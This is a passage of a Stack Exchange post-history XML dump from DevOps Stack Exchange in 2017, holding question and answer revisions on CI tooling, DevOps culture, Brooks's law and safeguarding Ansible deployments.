  <row Id="896" PostHistoryTypeId="2" PostId="299" RevisionGUID="08671cb6-926c-41cb-8a3e-f9375df108ab" CreationDate="2017-03-03T18:50:20.423" UserId="40" Text="Your question doesn't specify which platform (OS) it is about. But if it is about good old mainframes (running zOS, whereas the z stands for &quot;zero downtime ...&quot;), then these would be some possible options to pick from (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][1].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][2].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;  &gt;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: if you're not familiar with the typical SCM solutions on this platform (such as Endevor or ISPW), then have a look at the [typical SCM solutions exist for managing mainframe software][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [3]: http://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostHistoryTypeId="6" PostId="12" RevisionGUID="ec82507d-2528-428a-bdc1-6d89dc697957" CreationDate="2017-03-03T18:56:17.207" UserId="3" Comment="edited tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;scm&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostHistoryTypeId="11" PostId="292" RevisionGUID="40d99007-f66e-41a4-8135-7d49c0c34148" CreationDate="2017-03-03T20:12:42.777" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:60,&quot;DisplayName&quot;:&quot;alecxe&quot;}]}" />
  <row Id="902" PostHistoryTypeId="6" PostId="145" RevisionGUID="04f9051e-ca0a-4a3f-b34f-df1a93e72106" CreationDate="2017-03-03T20:36:50.970" UserId="47" Comment="added relevant tag" Text="&lt;amazon-s3&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostHistoryTypeId="24" PostId="145" RevisionGUID="04f9051e-ca0a-4a3f-b34f-df1a93e72106" CreationDate="2017-03-03T20:36:50.970" Comment="Proposed by 47 approved by 6 edit id of 83" ContentLicense="CC BY-SA 3.0" />
  <row Id="904" PostHistoryTypeId="11" PostId="256" RevisionGUID="58f8df12-1265-49d6-983b-a3141253dba5" CreationDate="2017-03-03T20:37:53.727" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Woodland Hunter&quot;}]}" />
  <row Id="907" PostHistoryTypeId="5" PostId="207" RevisionGUID="0fcbdf41-42f1-479f-a916-c83f8c715ace" CreationDate="2017-03-03T22:39:06.153" UserId="14" Comment="Remove [tag:] syntax for [immutable-server] because it isn't a real tag on this site" Text="The immutable server pattern is a deployment discipline favouring the reproducibility of deployments.  It is characterised by the fact that “[a server that once deployed, is never modified, merely replaced with a new updated instance](https://martinfowler.com/bliki/ImmutableServer.html)” and implementing this discipline requires an automation of server deployment. This automation has numerous operational advantages, one of the most important is allowing the quick and reliable replacement of failing instances in an infrastructure. This automation also implies that server deployment is described by versioned software artefacts and is subject to iterative improvements.&#xD;&#xA;&#xD;&#xA;A popular aspect of implementations of this discipline is the removal of remote access methods to the server once it has been launched (esp. removing SSH access).  Removing remote access is an easy way to ensure that the configuration of the server matches the configuration prepared by the deployment automation.&#xD;&#xA;&#xD;&#xA;However, when investigating the causes of a software failure in a [tag:post-mortem], relying on structured monitoring is not always enough and remote access to the machine could be necessary.  It is a common practical situation that server monitoring does not cover all of the failure sources, or that monitoring can be impaired by the server failure itself, which would likely be the case if the server runs out of memory or reaches its process limit.&#xD;&#xA;&#xD;&#xA;How to implement the immutable server pattern without loosing the ability to do post-mortems?" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostHistoryTypeId="24" PostId="207" RevisionGUID="0fcbdf41-42f1-479f-a916-c83f8c715ace" CreationDate="2017-03-03T22:39:06.153" Comment="Proposed by 14 approved by 6, 13 edit id of 82" ContentLicense="CC BY-SA 3.0" />
  <row Id="909" PostHistoryTypeId="2" PostId="300" RevisionGUID="db424f21-c5bd-4deb-a4f5-800abea6b1e8" CreationDate="2017-03-03T23:44:48.730" UserId="47" Text="[ApartCI][1] is a CI system designed exactly to prevent regressions, thus guaranteeing flat or increasing branch quality level. Still in beta.&#xD;&#xA;&#xD;&#xA;It orchestrates centralized pre-commit verifications in such manner as to ensure that a change is committed only after it is verified, together with all other changes committed before it, to meet or exceed the latest branch quality level. &#xD;&#xA;&#xD;&#xA;This is the key difference compared to traditional developer-driven pre-commit verifications, often done in parallel , which leaves room for regressions caused by interfering changes which were never tested together.&#xD;&#xA;&#xD;&#xA;The tool is also [designed to easily scale][2] - capable of sustaining very high rates of incoming candidate changes and supporting 100s/1000s of developers working in the same integration branch.&#xD;&#xA;&#xD;&#xA;**Disclaimer:** I'm the author of the tool and founder of the company offering it. Apologies for the ad.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://apartci.apartsw.com/&#xD;&#xA;  [2]: https://apartci.apartsw.com/help_scale.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostHistoryTypeId="5" PostId="40" RevisionGUID="fe797984-c504-40e8-b7b1-fd1fcf671c53" CreationDate="2017-03-04T00:01:49.630" UserId="201" Comment="Improved grammar, made promotion type more obvious" Text="I'm using the [Promoted Builds Plugin][1] and I'd like to promote my freestyle job to have a gold star when a certain value in my output is above a given threshold (e.g. above 1.00).&#xD;&#xA;&#xD;&#xA;Here is a sample output from backtesting jobs:&#xD;&#xA;&#xD;&#xA;    Pass  Profit Total trades Profit factor Expected Payoff Drawdown $ Drawdown %&#xD;&#xA;       1  622.71           76          1.38            8.19     526.77       4.94&#xD;&#xA;      10  301.09           36          1.38            8.36     526.77       4.93&#xD;&#xA;      14  240.96           62          1.18            3.89     589.60       5.60&#xD;&#xA;&#xD;&#xA;My aim is to promote the build to gold when the first line right after the header line has a `Profit factor` column value above `1.00` and only to silver star when it is below.&#xD;&#xA;&#xD;&#xA;How can this be achieved?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Promoted+Builds+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="911" PostHistoryTypeId="24" PostId="40" RevisionGUID="fe797984-c504-40e8-b7b1-fd1fcf671c53" CreationDate="2017-03-04T00:01:49.630" Comment="Proposed by 201 approved by 3, 13 edit id of 84" ContentLicense="CC BY-SA 3.0" />
  <row Id="912" PostHistoryTypeId="2" PostId="301" RevisionGUID="6b4aab65-8fb7-4af5-9f3e-aaf54ceda099" CreationDate="2017-03-04T00:59:05.453" UserId="47" Text="Another approach is to switch to a different, non-traditional CI system, capable of **preventing regressions** by identifying and rejecting the offending candidate changes prior to their commit rather than detecting regressions and waiting for recovery while development on the branch is blocked. A [non-blocking CI system][1].&#xD;&#xA;&#xD;&#xA;Simply bumping up the developer-executed pre-commit verification requirements in an attempt to reduce branch regressions is not sufficient for such guarantee. It may actually cause a regression rate *increase*: longer verification times =&gt; higher number of changes simultaneously verified in isolation (thus not accounting for each-other) =&gt; higher risk of functional conflicts and interference. I'm explaining this in a bit more details in the [Extending the pre-commit verification coverage should increase our branch stability][2] myth.&#xD;&#xA;&#xD;&#xA;The CI tool also needs to be capable of operating at scale, of course. And such tools exist, see http://devops.stackexchange.com/questions/268/is-there-a-ci-tool-that-guarantees-no-regressions-in-the-branch-quality-level&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/25/traditional_vs_non_blocking_ci.html&#xD;&#xA;  [2]: https://www.apartsw.com/insights/2016/11/16/pre_commit_verification_myths.html#extensible" ContentLicense="CC BY-SA 3.0" />
  <row Id="913" PostHistoryTypeId="5" PostId="297" RevisionGUID="1c2ef65f-7cf8-45f1-9269-d6ea860ba748" CreationDate="2017-03-04T01:04:08.680" UserId="47" Comment="linked related post" Text="Yes, splitting the bigger team into smaller, agile-size sub-teams is obviously necessary. But it's far from sufficient to also be performant overall, at the bigger team level.&#xD;&#xA;&#xD;&#xA;With a highly scalable CI system in place it is possible even for very large teams to use trunk-based integration, in a single master branch, thus completely avoiding the intermediate integration branches and the unknowns/risks/delays/costs associated with their merges which would otherwise represent serious obstacles impacting the sub-teams. See http://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams/301#301&#xD;&#xA;&#xD;&#xA;With these obstacles out of the way the sub-teams can really make the best out of the agile techniques as they're automatically all on the same page and benefit from **all** advantages of the CI methodology.&#xD;&#xA;&#xD;&#xA;Such approach works equally well:&#xD;&#xA;&#xD;&#xA;- for monolithic codebases/producs which can't/won't be split into micro-services for whatever reason&#xD;&#xA;- for codebases/producs split into micro-services, even if for reasons other than independent deployment capabilities - which don't want to deal with inter-service dependency management and prefer to stick to monolithic deployments (they still share the same development branch)&#xD;&#xA;&#xD;&#xA;Note: the actual SCM repository is irrelevant, it can be any combination of repos managed together as a single one, the term branch denotes just the common logical representation of whatever physical/actual repo branches exist in that combination.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="914" PostHistoryTypeId="2" PostId="302" RevisionGUID="873b600e-8053-4b36-b862-bada7fbe99c9" CreationDate="2017-03-04T01:53:35.653" UserId="389" Text="That's why I'm still student, I'm not knowledgeable about operations, and my English is still bad.&#xD;&#xA;&#xD;&#xA;My question is: **Why does development oppose operations**?　When does developing oppose operations?" ContentLicense="CC BY-SA 3.0" />
  <row Id="915" PostHistoryTypeId="1" PostId="302" RevisionGUID="873b600e-8053-4b36-b862-bada7fbe99c9" CreationDate="2017-03-04T01:53:35.653" UserId="389" Text="Why does development oppose operations?" ContentLicense="CC BY-SA 3.0" />
  <row Id="916" PostHistoryTypeId="3" PostId="302" RevisionGUID="873b600e-8053-4b36-b862-bada7fbe99c9" CreationDate="2017-03-04T01:53:35.653" UserId="389" Text="&lt;operations&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="917" PostHistoryTypeId="2" PostId="303" RevisionGUID="8e893ca5-4d75-4064-884d-e5cd1a1c65d4" CreationDate="2017-03-04T02:13:00.380" UserId="242" Text="The point of DevOps, is that development **shouldn't** oppose operations, instead they should support each other. &#xD;&#xA;&#xD;&#xA;Traditionally, due to waterfall deployments and large scale updates, development would cause operations a variety of problems when deploying due to inadequate testing, changing server environments, the list goes on and on. Essentially, the updates were too large for the operations team to be able to effectively deploy them without some problems arising in the process. These problems might be why you believe that **development opposes operations**.&#xD;&#xA;&#xD;&#xA;On the other hand, DevOps works to reduce update size, decrease rigid environments, and generally improve the handoff of the application between development and operations by increasing the amount of times the handoff occurs each year. With the increased number of deployments comes less headaches for operations, because they have either automated a large amount of work required to update the products, or they better anticipate and prepare for the updates.&#xD;&#xA;&#xD;&#xA;Tldr: DevOps aims to nullify the theory that **development opposes operations** by creating a mindset where operations and development work together to frequently deploy products in a timely and easily reproducible way." ContentLicense="CC BY-SA 3.0" />
  <row Id="918" PostHistoryTypeId="5" PostId="302" RevisionGUID="396cf645-e263-43aa-bd74-2e29b15fdcaf" CreationDate="2017-03-04T02:15:08.960" UserId="389" Comment="added 60 characters in body" Text="That's why I'm still student, I'm not knowledgeable about operations, and my English is still bad.&#xD;&#xA;&#xD;&#xA;My question is: **Why does development oppose operations**?　When does developing oppose operations? I want to know this because it is important to know DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostHistoryTypeId="2" PostId="304" RevisionGUID="0e8d3ab0-7b26-45a3-ae15-cd800c5eeb9f" CreationDate="2017-03-04T03:25:40.230" UserId="488" Text="No tool could possibly *guarantee* no regressions - that depends much more on your tests than the tool executing them. However, you can help to prevent regressions that will be caught from entering into the integration branch. You can do this with pre-commit hooks, but it's often easier with pull requests (which hopefully you're already using for peer code review).&#xD;&#xA;&#xD;&#xA;If a branch is up-to-date with its upstream (where the PR is merging to), and its tests pass, then they will still pass after the merge; the state of the target branch after the merge will match the state of the source branch before the merge.&#xD;&#xA;&#xD;&#xA;It's generally not particularly difficult (depending on the tools used) to indicate both whether the source branch in a PR is up-to-date with the target, and if it has a passing CI build. You can use this as a requirement (by policy, and/or enforced in software) for merging the pull request." ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostHistoryTypeId="2" PostId="305" RevisionGUID="1531a8c5-bb54-426b-a570-4e51116d52a8" CreationDate="2017-03-04T03:44:15.783" UserId="47" Text="Speaking exclusively from a CI prospective, increasing the number of developers working on a project typically translates into more people working in the same branch.&#xD;&#xA;&#xD;&#xA;Traditional CI systems have a scalability issue in this respect: the probability of breakages/regressions/blockages increases slowing down the integration speed and inviting smaller teams to break off and move on to child branches (i.e. further slowdowns). See http://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams. This plays right along the Mythical Man Month concept.&#xD;&#xA;&#xD;&#xA;The solution I suggest in my answer to that question, a *highly scalable* CI system would enable migration towards true CI - single branch/trunk based integration for entire greater teams (even with huge sizes). &#xD;&#xA;&#xD;&#xA;With everyone of the same page, using the same automated tools/processes and the vast majority of the QA verifications automated inside the CI system itself it becomes much easier to switch roles and focus between team members. The whole development proces becomes smoother, more predictable, more relaxed.&#xD;&#xA;&#xD;&#xA;Bringing new people aboard in such an environment, getting them productive simply by offloading less difficult tasks from the more experienced team members which can then take on more difficult ones is thus easier.&#xD;&#xA;&#xD;&#xA;All of these can be seen, I believe, as soothing the Mythical Man Month concept effects.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostHistoryTypeId="2" PostId="306" RevisionGUID="e017ad7d-c9c6-4f7b-9354-c80b0d65acb2" CreationDate="2017-03-04T03:50:15.660" UserId="488" Text="I'm working with a project that's using Jenkins to build and deploy microservices to Elastic Beanstalk. We deploy an integration branch to a test environment, release branches to a staging environment, and then a final master build to production. I have a couple of concerns with doing it this way: first, it means we end up with a matrix of one build per project per environment, duplicating efforts; and two, it means we aren't deploying the same build artifacts to production that were validated in staging.&#xD;&#xA;&#xD;&#xA;I'm inclined to abandon Beanstalk and move to plain ASGs using something like Chef for deployments. That would leave us with one build per project, producing a build artifact, and we could deploy the same artifact to production that was approved in staging. Transitioning has a not-insignificant up-front cost, however. Is there some way to use Beanstalk better that would allow for more reliable, easier-to-manage CI/CD?" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostHistoryTypeId="1" PostId="306" RevisionGUID="e017ad7d-c9c6-4f7b-9354-c80b0d65acb2" CreationDate="2017-03-04T03:50:15.660" UserId="488" Text="Is Elastic Beanstalk suitable for enterprise-grade CD?" ContentLicense="CC BY-SA 3.0" />
  <row Id="924" PostHistoryTypeId="3" PostId="306" RevisionGUID="e017ad7d-c9c6-4f7b-9354-c80b0d65acb2" CreationDate="2017-03-04T03:50:15.660" UserId="488" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;amazon-web-services&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostHistoryTypeId="5" PostId="302" RevisionGUID="dcdef2e8-962e-4110-90c7-cffa5f3fb476" CreationDate="2017-03-04T03:53:35.340" UserId="389" Comment="edited body" Text="That's why I'm still student, I'm not knowledgeable about operations, and my English is still bad.&#xD;&#xA;&#xD;&#xA;My question is: **Why does development oppose operations**? When does developing oppose operations?  &#xD;&#xA;I want to know this because it is important to know DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostHistoryTypeId="2" PostId="307" RevisionGUID="3aac423c-b257-4222-9765-e7e0b9501c8a" CreationDate="2017-03-04T03:59:45.923" UserId="491" Text="DevOps is really a cultural shift - it's intended to be about breaking down the traditional barriers between operations and development (and really also with QA and the rest of the business!). The idea is that rather than having departmental 'silos' you can work directly with other teams to get things done quicker and more efficiently.&#xA;&#xA;It's all about removing constraints and streamlining processes. Automation comes into this heavily because having repeatable processes helps remove constraints. For example: if someone from ops has to do a manual release process to get code out to an environment, there's a couple of things that can get in the way - one is that there has to be someone in ops free to do the deploy, and two, there is less confidence in the release process because manual work is error-prone. " ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostHistoryTypeId="5" PostId="256" RevisionGUID="dd2d93c8-15a0-45aa-8691-3e2f8cb480ce" CreationDate="2017-03-04T05:18:26.393" UserId="228" Comment="I have remove the part about the companies, as I don't think that paragraph is relevant." Text=" **Brooks's law:** *Adding manpower to a late software project makes it later.*&#xD;&#xA;&#xD;&#xA;In his book *No Silver Bullet — Essence and Accidents of Software Engineering* Frederick Brooks defines the concept of [Mythical Man Month][1]:&#xD;&#xA;&#xD;&#xA;Brooks's assumption is that complex programming projects *cannot be perfectly partitioned into discrete tasks* that can be worked on without *communication between the workers* and without establishing a set of *complex interrelationships between tasks and the workers performing them*.&#xD;&#xA;&#xD;&#xA;Since 1982 we have certainly moved forward and gathered some more experience in mitigating this problem. What are some of the solutions that you have successfully applied at your work to add resources to a project without creating more problems.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/The_Mythical_Man-Month" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostHistoryTypeId="2" PostId="308" RevisionGUID="ce28ca57-7492-41b9-acf1-db47853a29d2" CreationDate="2017-03-04T05:49:28.773" UserId="228" Text="The tension between development and operations is often caused by misalignment of incentives and attempts to optimize within the team. &#xD;&#xA;&#xD;&#xA;**Developers** are often judged by the speed and quantity of issues they can get through and merged into code repository and their reward is often not tied to that code actually working or working correctly. Much less scaling, performance and other factors.&#xD;&#xA;&#xD;&#xA;**Operations** are often judged on the stability of the environment and how well the code works in production, but rarely on the quality of the process for bringing changes in quickly.&#xD;&#xA;&#xD;&#xA;This creates the issue where developers are incentivized to create a lot of code and throw it over the wall to the operations team and the operations team has incentive to accept as little change as possible to ensure the stability of the environment. &#xD;&#xA;&#xD;&#xA;DevOps is in a way the set of solutions to this problem:&#xD;&#xA;&#xD;&#xA; - Some of them can be organizational, where the processes and incentives of the teams can change. For example if developers work is only marked as done when it has been running in production for some time, there were no issues and the operations team agrees to take ownership of the code. Similarly operations can be judged more on the speed with which the code is being accepted, while the environment is still within some bounds of stability. &#xD;&#xA; - Another part of the solution can be in communication and cross-polination, where you embed operation people in development team and vice versa. You break the wall between those teams and DevOps engineers are often the result of this type of bridging.&#xD;&#xA; - Tools supporting processes like Continuous Integration and Continuous Deployment are another part of the solution, which can increase the speed of changes, while retaining high quality and fast recovery of the production environment in case of any issues through rollback of code or fast progress of a fix into production.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="931" PostHistoryTypeId="2" PostId="309" RevisionGUID="62cea8ea-1fdc-4274-bf07-0c6f14668e4e" CreationDate="2017-03-04T06:30:17.180" UserId="228" Text="Recently the Amazon S3 had a [major outage][1] in the us-east-1 region. It looks like it was likely caused by a spelling error when running a maintenance playbook in Ansible or a similar tool. You can put a shell script wrapper around ansible-playbook to look like:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    /usr/bin/ansible-playbook &quot;$@&quot; --list-hosts --list-tasks&#xD;&#xA;    read -p &quot;Are you sure? (y/n) &quot; answer&#xD;&#xA;    test &quot;$answer&quot; = &quot;y&quot; || exit 0&#xD;&#xA;    exec /usr/bin/ansible-playbook &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;But what are some other ways you use to improve the safety and reduce a chance of error causing a major outage for your company.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/message/41926/" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostHistoryTypeId="1" PostId="309" RevisionGUID="62cea8ea-1fdc-4274-bf07-0c6f14668e4e" CreationDate="2017-03-04T06:30:17.180" UserId="228" Text="How to safeguard Ansible deployment to mitigate accidents" ContentLicense="CC BY-SA 3.0" />
  <row Id="933" PostHistoryTypeId="3" PostId="309" RevisionGUID="62cea8ea-1fdc-4274-bf07-0c6f14668e4e" CreationDate="2017-03-04T06:30:17.180" UserId="228" Text="&lt;ansible&gt;&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="934" PostHistoryTypeId="2" PostId="310" RevisionGUID="2152f50a-017a-4378-9806-6facf9615888" CreationDate="2017-03-04T09:28:28.090" UserId="6" Text="Most organizations deal with complexity by breaking down their organization info functional parts and demanding that each part figures out how to improve itself. This is often called the &quot;silo&quot; approach.&#xD;&#xA;&#xD;&#xA;It is important to understand why this silo approach blocks the success of the business and often fails to improve the organization as a whole. And it doesn't affect just development and operations. It affects all the other functional silos within a large organization, quality assurance team, finance, product and project management.&#xD;&#xA;&#xD;&#xA;As managers of each functional silo are commanded to improve, by cutting cost or increasing speed, their reaction is often:&#xD;&#xA;&#xD;&#xA;* I am totally overwhelmed fixing problems from the last improvement effort. Leave me alone.&#xD;&#xA;* What do you want me to do, fulfill my responsibilities or work on improvement projects? I do not have time to do both.&#xD;&#xA;* Not again! Here comes another program of the month.&#xD;&#xA;&#xD;&#xA;With these typical reactions, any executive launching a minor improvement effort is rarely greeted with enthusiasm. Managers find themselves in fierce competition with other functional areas over resources needed to execute their improvements, so no wonder the command to improve intensifies cross-functional battles!&#xD;&#xA;&#xD;&#xA;Even when a manager completes his part of an improvement project, he then meets other functional areas and other organizations (suppliers, contractors, etc...) that did not do their job. This diminishes or totally negates the results.&#xD;&#xA;&#xD;&#xA;This cross-functional tension is not limited to improvement efforts. It is in the very heart of day-to-day decision making and the judgment of management effectiveness across an organization. Here is one real-life example:&#xD;&#xA;&#xD;&#xA;&gt; A finance manager was told, &quot;improve.&quot; He decided to block hiring contractors that cost more than the nominal price accepted in the market. He implemented the new policy and claimed to have saved $1 million dollars this year.&#xD;&#xA;&gt; With developers and IT unable to hire contractors to help them use container and container orchestration since these contractors are expensive. The IT operations manager in the same company calculated that not improving in their infrastructure was costing the company well over $100,000 in extra expenses each month. At that rate, the annual savings in hiring contractors were eaten away before the year ends.&#xD;&#xA;&#xD;&#xA;You can imagine that the relationship between these two functional areas was not exactly lovey-dovey.&#xD;&#xA;&#xD;&#xA;These cross-functional conflicts are driven by the silo approach, where the organization measures each silo in improvement independently. If you are a cost center, improvement naturally means greater efficiency or cost reduction within your silo.&#xD;&#xA;In this frame of reference, costs are seen as obeying the &quot;additive&quot; rule. The costs of each silo added together, equal the total cost of the organization. Therefore, managers see any cost reduction in their area as &quot;good,&quot; since they see a direct translation to cost savings for the company as a whole. In this frame of reference, improvement efforts are spread everywhere to attack cost and waste throughout the organization.&#xD;&#xA;&#xD;&#xA;A great example when the development team/s start working Agile and pushing code to QA and Operations every two weeks instead of every quarter like they used to. The QA and Operations are not ready for such a change and are blamed for slacking off. Again, does not contribute to much love between the people in development and operations." ContentLicense="CC BY-SA 3.0" />
  <row Id="938" PostHistoryTypeId="5" PostId="264" RevisionGUID="7036de45-70fc-4a44-a83a-85df47fee057" CreationDate="2017-03-04T10:14:11.500" UserId="6" Comment="add an explanation for the origin of Brook's law" Text="**What is the MMM**&#xD;&#xA;&#xD;&#xA;First I want to explain the context for Brook's Law. What was the assumption that made him create it back in 1975?&#xD;&#xA;&#xD;&#xA;&gt; A Man-month is a hypothetical unit of work representing the work done by one person in one month; Brooks' law says that it is impossible to measure useful work in man-months.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://en.wikipedia.org/wiki/The_Mythical_Man-Month&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Back in the day, complex programming projects would mean big monolith systems. And Brooks claims that these cannot be perfectly partitioned into discrete tasks that can be worked on without communication between developers and without establishing a set of complex interrelationships between tasks and the people performing them.&#xD;&#xA;&#xD;&#xA;This is very much true in highly cohesive software monoliths. No matter how much decoupling is done, still the big monolith mandates time required for the new programmers to learn about the monolith. And increased communication overhead which will consume an ever increasing quantity of the time available.&#xD;&#xA;&#xD;&#xA;But does it really have to be this way? Do we have to write monoliths and keep communication channels to `n(n − 1) / 2` where `n` is the number of developers?&#xD;&#xA;&#xD;&#xA;We know there are companies where thousands of developers are working on big projects ... and it does work. So there must be something that changed since 1975.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Possibility to mitigate the MMM**&#xD;&#xA;&#xD;&#xA;In 2015, PuppetLabs and IT Revolution published the results of the [2015 State of DevOps Report][1]. In that report, they focussed on the distinction between high performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;The high-performing organizations show some unexpected properties. For example, they have the best project due-date performance in development. Best operational stability and reliability in operations. As well as the best security and compliance track record.&#xD;&#xA;&#xD;&#xA;One of the surprising things highlighted in the report is the deployments per day metric. But not just deployments per day, they also measured deploy/day/developer and what is the effect of adding more developers in high-performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;This is the graph from that report -&#xD;&#xA;&#xD;&#xA;[![Deployments per Day per Developer][2]][2]&#xD;&#xA;&#xD;&#xA;While low-performing organizations align with Mythical Man Month assumptions. The high-performing organizations can scale the number of deploy/day/dev linearly with the number of developers.&#xD;&#xA;&#xD;&#xA;An excellent presentation at [DevOpsDays London 2016][3] by Gene Kim talks about these findings.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**How to do it**&#xD;&#xA;&#xD;&#xA;First, how to become a high-performing organization? There are a couple of books that talk about this, not enough space in this answer so I'll just link to them.&#xD;&#xA;&#xD;&#xA;* [Good to Great: Why Some Companies Make the Leap...And Others Don't][4] by Jim Collins&#xD;&#xA;* [The High-Velocity Edge: How Market Leaders Leverage Operational Excellence to Beat the Competition][5] by Steven Spear&#xD;&#xA;* [The New Economics for Industry, Government, Education][6] by W. Edwards Deming&#xD;&#xA;&#xD;&#xA;For software and IT organizations, one of the critical factors for becoming a high-performing organization is: **focus on quality and speed**.&#xD;&#xA;&#xD;&#xA;For example Ward Cunningham [explains Technical Debt][7] as all the things we allowed to be left unfixed. This is accepted by management because it always comes with a promise that it is going to be fixed when there is time.&#xD;&#xA;&#xD;&#xA;There is never enough time, and technical debt just becomes worse and worse.&#xD;&#xA;&#xD;&#xA;What are these things that cause technical debt to grow?&#xD;&#xA;&#xD;&#xA; * legacy code&#xD;&#xA; * manual configuration of environments&#xD;&#xA; * manual testing&#xD;&#xA; * manual deployments&#xD;&#xA;&#xD;&#xA;Legacy code As defined in [Working Effectively with Legacy Code][8] by Michael Feathers is any code that doesn't have automated testing.&#xD;&#xA;&#xD;&#xA;Any time shortcuts are used to get the code to production; the operations is burdened with the maintenance of this debt forever. Then the process of deployment becomes longer and longer.&#xD;&#xA;&#xD;&#xA;Gene tells a story in his presentation about a company who has six-week long deployments. Involving tens of thousands of extremely error prone tedious steps, tying up 400 people, and they would do this four times every year.&#xD;&#xA;&#xD;&#xA;One of the tenets of DevOps is that reliability comes from doing smaller deployments more frequently.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA; * [Jon Jenkins at Velocity 2011][9]: Amazon are doing **15k deploys/day**&#xD;&#xA; * [Ken Exner at AWS Summit 2015][10]: Amazon are doing **136k deploys/day**&#xD;&#xA;&#xD;&#xA;These two presentations show all the things that Amazon did to decrease the time it takes them to deploy code to production.&#xD;&#xA;&#xD;&#xA;According to Gene, the only thing that is changed across time in these high-performing organizations is the number of developers. So from the Amazon example, you could say that in four years they increased their deployments ten times just by adding more people.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that under certain conditions, with the right architecture, the right technical practices, the right cultural norms, developer productivity **can** scale as the number of developers is increased. And DevOps is definitely in the middle of all this.&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2015-state-devops-report&#xD;&#xA;  [2]: https://i.stack.imgur.com/6B9ta.png&#xD;&#xA;  [3]: https://vimeo.com/165186982&#xD;&#xA;  [4]: https://www.amazon.com/dp/B0058DRUV6&#xD;&#xA;  [5]: https://www.amazon.com/dp/B003GIPEC2&#xD;&#xA;  [6]: https://www.amazon.com/dp/B004ZK8RTM&#xD;&#xA;  [7]: http://wiki.c2.com/?WardExplainsDebtMetaphor&#xD;&#xA;  [8]: https://www.amazon.com/dp/0131177052/&#xD;&#xA;  [9]: https://www.youtube.com/watch?v=dxk8b9rSKOo&#xD;&#xA;  [10]: 